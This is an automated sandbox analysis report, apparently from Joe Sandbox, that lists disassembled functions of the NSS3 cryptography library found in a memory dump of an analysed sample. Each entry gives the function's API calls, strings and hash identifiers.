Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: b1a1859dcc11cd09d3f4085d8a983cdcb5b34564775864e564a2d173f6fea37a
Instruction ID: aa986a26e3e5e87a789551f2186eb0923018858bafb999b39a9e25775d6b6256
Opcode Fuzzy Hash: b1a1859dcc11cd09d3f4085d8a983cdcb5b34564775864e564a2d173f6fea37a
Instruction Fuzzy Hash: B0B16370E0474ECFCB04CF59CA449B9B7F0FB1E344B158569D549AB322EB31AA44CBA5

Function 6C594F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C594FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5951BB

Strings

misuse, xrefs: 6C5951AF
%s at line %d of [%.10s], xrefs: 6C5951B4
unable to delete/modify user-function due to active statements, xrefs: 6C5951DF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5951A5

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 3f06769a4e98462a70d7e61f767166bd229f021f3fe6bccb33f43139c8a7433e
Instruction ID: 5da5ffe8c7b62ad31406d85fa454e2231f62763010ed42d712ceafa0a19c3b39
Opcode Fuzzy Hash: 3f06769a4e98462a70d7e61f767166bd229f021f3fe6bccb33f43139c8a7433e
Instruction Fuzzy Hash: 0F71AD7160424ADBDB00CE25CD80B9A77B9BF48309F4846A4FD199BB85D335ED61CBA1

Function 6C67FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6C67F165,?), ref: 6C67FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6C67F165,?), ref: 6C67FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C67F165,?), ref: 6C67FF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C67F165,?), ref: 6C67FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6C67F165,?), ref: 6C67FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6C67F165,6C74219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C67FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6C67F165,?), ref: 6C6800A6

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: d74b7959c5cb53b11c752467e800001829ade765f8ea903badeafd3eb281f6d5
Instruction ID: 46db44451e5c621dd57fe6777769f50bbf4a9e95dd0bae0c1ebb55587fef92d7
Opcode Fuzzy Hash: d74b7959c5cb53b11c752467e800001829ade765f8ea903badeafd3eb281f6d5
Instruction Fuzzy Hash: 8D512871E062559FDB208E59C8907AEB7B5FF49318F240A29DC15A7B40D731AC00CBF9

Function 6C63DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C63DF37
EnterCriticalSection.KERNEL32(?), ref: 6C63DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C63DF96
PR_SetError.NSS3(00000000,00000000), ref: 6C63E02B
PR_Unlock.NSS3(?), ref: 6C63E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C63E090
PR_Unlock.NSS3(?), ref: 6C63E0AF

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: f6c62dc7a853f9795066d5a8b329487b2a48f2a31a193cd955c504c97454e16b
Instruction ID: 78f123844c50ed282922cf7db364d74af6aef090cb1408f183785711ec27f905
Opcode Fuzzy Hash: f6c62dc7a853f9795066d5a8b329487b2a48f2a31a193cd955c504c97454e16b
Instruction Fuzzy Hash: 2751E331A00610DFDB209F24CC84B9673F5FF45318F106528E85E47B91D735E968CBAA

Function 6C63BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C63BD1E

Part of subcall function 6C612F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C612F0A
Part of subcall function 6C612F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C612F1D

Part of subcall function 6C6557D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C61B41E,00000000,00000000,?,00000000,?,6C61B41E,00000000,00000000,00000001,?), ref: 6C6557E0
Part of subcall function 6C6557D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C655843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C63BD8C

Part of subcall function 6C66FAB0: free.MOZGLUE(?,-00000001,?,?,6C60F673,00000000,00000000), ref: 6C66FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C63BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C63BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C63BE3A

Part of subcall function 6C613E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C613EC2
Part of subcall function 6C613E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C613ED6
Part of subcall function 6C613E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C613EEE
Part of subcall function 6C613E60: PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C613F02
Part of subcall function 6C613E60: PL_FreeArenaPool.NSS3 ref: 6C613F14
Part of subcall function 6C613E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C613F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C63BE52

Part of subcall function 6C612E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C612CDA,?,00000000), ref: 6C612E1E
Part of subcall function 6C612E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C612E33
Part of subcall function 6C612E00: TlsGetValue.KERNEL32 ref: 6C612E4E
Part of subcall function 6C612E00: EnterCriticalSection.KERNEL32(?), ref: 6C612E5E
Part of subcall function 6C612E00: PL_HashTableLookup.NSS3(?), ref: 6C612E71
Part of subcall function 6C612E00: PL_HashTableRemove.NSS3(?), ref: 6C612E84
Part of subcall function 6C612E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C612E96
Part of subcall function 6C612E00: PR_Unlock.NSS3 ref: 6C612EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C63BE61

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: aab476e9f7fd21e4cb3f718218dd809a32b848ed06d608ef126d02986ac251a5
Instruction ID: 41116426a92b1998b22cde1caf59973ce6907a77b4b7dacf0693ebb3f9c60696
Opcode Fuzzy Hash: aab476e9f7fd21e4cb3f718218dd809a32b848ed06d608ef126d02986ac251a5
Instruction Fuzzy Hash: 234125B5A00620AFC710CF28DC80B6A77E4EF86718F106128F90D97B51E731EC15CBAA

Function 6C65AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C65AB3E,?,?,?), ref: 6C65AC35

Part of subcall function 6C63CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C63CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C65AB3E,?,?,?), ref: 6C65AC55

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C65AB3E,?,?), ref: 6C65AC70

Part of subcall function 6C63E300: TlsGetValue.KERNEL32 ref: 6C63E33C
Part of subcall function 6C63E300: EnterCriticalSection.KERNEL32(?), ref: 6C63E350
Part of subcall function 6C63E300: PR_Unlock.NSS3(?), ref: 6C63E5BC
Part of subcall function 6C63E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C63E5CA
Part of subcall function 6C63E300: TlsGetValue.KERNEL32 ref: 6C63E5F2
Part of subcall function 6C63E300: EnterCriticalSection.KERNEL32(?), ref: 6C63E606
Part of subcall function 6C63E300: PORT_Alloc_Util.NSS3(?), ref: 6C63E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C65AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C65AB3E), ref: 6C65ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C65AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C65AD2B

Part of subcall function 6C63F360: TlsGetValue.KERNEL32(00000000,?,6C65A904,?), ref: 6C63F38B
Part of subcall function 6C63F360: EnterCriticalSection.KERNEL32(?,?,?,6C65A904,?), ref: 6C63F3A0
Part of subcall function 6C63F360: PR_Unlock.NSS3(?,?,?,?,6C65A904,?), ref: 6C63F3D3

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 863fb674cac1b8d84c95b56373659c7a7d7027e29e004f92673596099f0df114
Instruction ID: 6c786a609e992a8e2bd3b42b634ccc07b79ad73a191473439952658991448bc3
Opcode Fuzzy Hash: 863fb674cac1b8d84c95b56373659c7a7d7027e29e004f92673596099f0df114
Instruction Fuzzy Hash: E23149B1E002155FEB008F25CC409FF77A6AF85318B688128E8199B741EB31DC25C7B9

Function 6C638C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C638C7C

Part of subcall function 6C6D9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C720A27), ref: 6C6D9DC6
Part of subcall function 6C6D9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C720A27), ref: 6C6D9DD1
Part of subcall function 6C6D9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6D9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C638CB0
TlsGetValue.KERNEL32 ref: 6C638CD1
EnterCriticalSection.KERNEL32(?), ref: 6C638CE5
PR_Unlock.NSS3(?), ref: 6C638D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C638D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C638D93

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 4da4e1962ec6c9771280c036cf79c8a77ca89a37c5ef7580a603a6cff37052ca
Instruction ID: 9ae5a9f26183450d3539662b07d8251262ed5be0d4ea94139b751d74b54927d1
Opcode Fuzzy Hash: 4da4e1962ec6c9771280c036cf79c8a77ca89a37c5ef7580a603a6cff37052ca
Instruction Fuzzy Hash: 54313971A00625ABDB019F64CC447DA77B0FF49318F142137EA1DA7B60D730A924C7D9

Function 6C679D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C679C5B), ref: 6C679D82

Part of subcall function 6C6714C0: TlsGetValue.KERNEL32 ref: 6C6714E0
Part of subcall function 6C6714C0: EnterCriticalSection.KERNEL32 ref: 6C6714F5
Part of subcall function 6C6714C0: PR_Unlock.NSS3 ref: 6C67150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C679C5B), ref: 6C679DA9

Part of subcall function 6C671340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C61895A,00000000,?,00000000,?,00000000,?,00000000,?,6C60F599,?,00000000), ref: 6C67136A
Part of subcall function 6C671340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C61895A,00000000,?,00000000,?,00000000,?,00000000,?,6C60F599,?,00000000), ref: 6C67137E
Part of subcall function 6C671340: PL_ArenaGrow.NSS3(?,6C60F599,?,00000000,?,6C61895A,00000000,?,00000000,?,00000000,?,00000000,?,6C60F599,?), ref: 6C6713CF
Part of subcall function 6C671340: PR_Unlock.NSS3(?,?,6C61895A,00000000,?,00000000,?,00000000,?,00000000,?,6C60F599,?,00000000), ref: 6C67145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C679C5B), ref: 6C679DCE

Part of subcall function 6C671340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C61895A,00000000,?,00000000,?,00000000,?,00000000,?,6C60F599,?,00000000), ref: 6C6713F0
Part of subcall function 6C671340: PL_ArenaGrow.NSS3(?,6C60F599,?,?,?,00000000,00000000,?,6C61895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C671445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C679C5B), ref: 6C679DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C679C5B), ref: 6C679DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C679C5B), ref: 6C679E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C679C5B), ref: 6C679E91

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

Part of subcall function 6C671560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C66FAAB,00000000), ref: 6C67157E
Part of subcall function 6C671560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C66FAAB,00000000), ref: 6C671592
Part of subcall function 6C671560: memset.VCRUNTIME140(?,00000000,?), ref: 6C671600
Part of subcall function 6C671560: PL_ArenaRelease.NSS3(?,?), ref: 6C671620
Part of subcall function 6C671560: PR_Unlock.NSS3(?), ref: 6C671639

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 3189b128d7d0d9566359c93973086a03bebe9887f741092665410d143ac0e0ab
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: EB418EB4601606AFE7148F14D850BA2BBE1FF4535CF148529D8184BFA0EB72E835CFA4

Function 6C63DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C63DDEC

Part of subcall function 6C670840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6708B4

PK11_DigestBegin.NSS3(00000000), ref: 6C63DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C63DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C63DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C63DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C63DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C63DECC

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: e8ea0ca37961c17e8d433c28f82ee63b99a9a1d6e4c0917510992ab997b4e04a
Instruction ID: c83db9e14b3285e8adf373c40036f2f293b46e25bf64ee507dabbaaf6879bc50
Opcode Fuzzy Hash: e8ea0ca37961c17e8d433c28f82ee63b99a9a1d6e4c0917510992ab997b4e04a
Instruction Fuzzy Hash: 7D31D5B29002346BDB00AE65AC40BBB7AA8DF55708F052135ED0DA7741FB31D925C6EA

Function 6C617E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C617E48

Part of subcall function 6C670FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
Part of subcall function 6C670FF0: PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016
Part of subcall function 6C670FF0: PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C617E5B

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C617E7B

Part of subcall function 6C66FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C668D2D,?,00000000,?), ref: 6C66FB85
Part of subcall function 6C66FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C66FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C73925C,?), ref: 6C617E92

Part of subcall function 6C66B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7418D0,?), ref: 6C66B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C617EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C617ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C617EFA

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: b35047683f1311e44f22de80f0ac104554c06e0a16d82b13fcad8c8c2805c46c
Instruction ID: c732d261cfef5056900ac6bc737b2b3fa4cb6c2b44586e5c19d5fc6ffe219b8b
Opcode Fuzzy Hash: b35047683f1311e44f22de80f0ac104554c06e0a16d82b13fcad8c8c2805c46c
Instruction Fuzzy Hash: EB31AFB2A042159BEB108B69DC40B9B77E8AF45359F154824EC59EBF41FB31EC04C7A9

Function 6C66DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C66D9E4,00000000), ref: 6C66DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C66D9E4,00000000), ref: 6C66DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C66D9E4,00000000), ref: 6C66DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C66DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C66DCAD

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
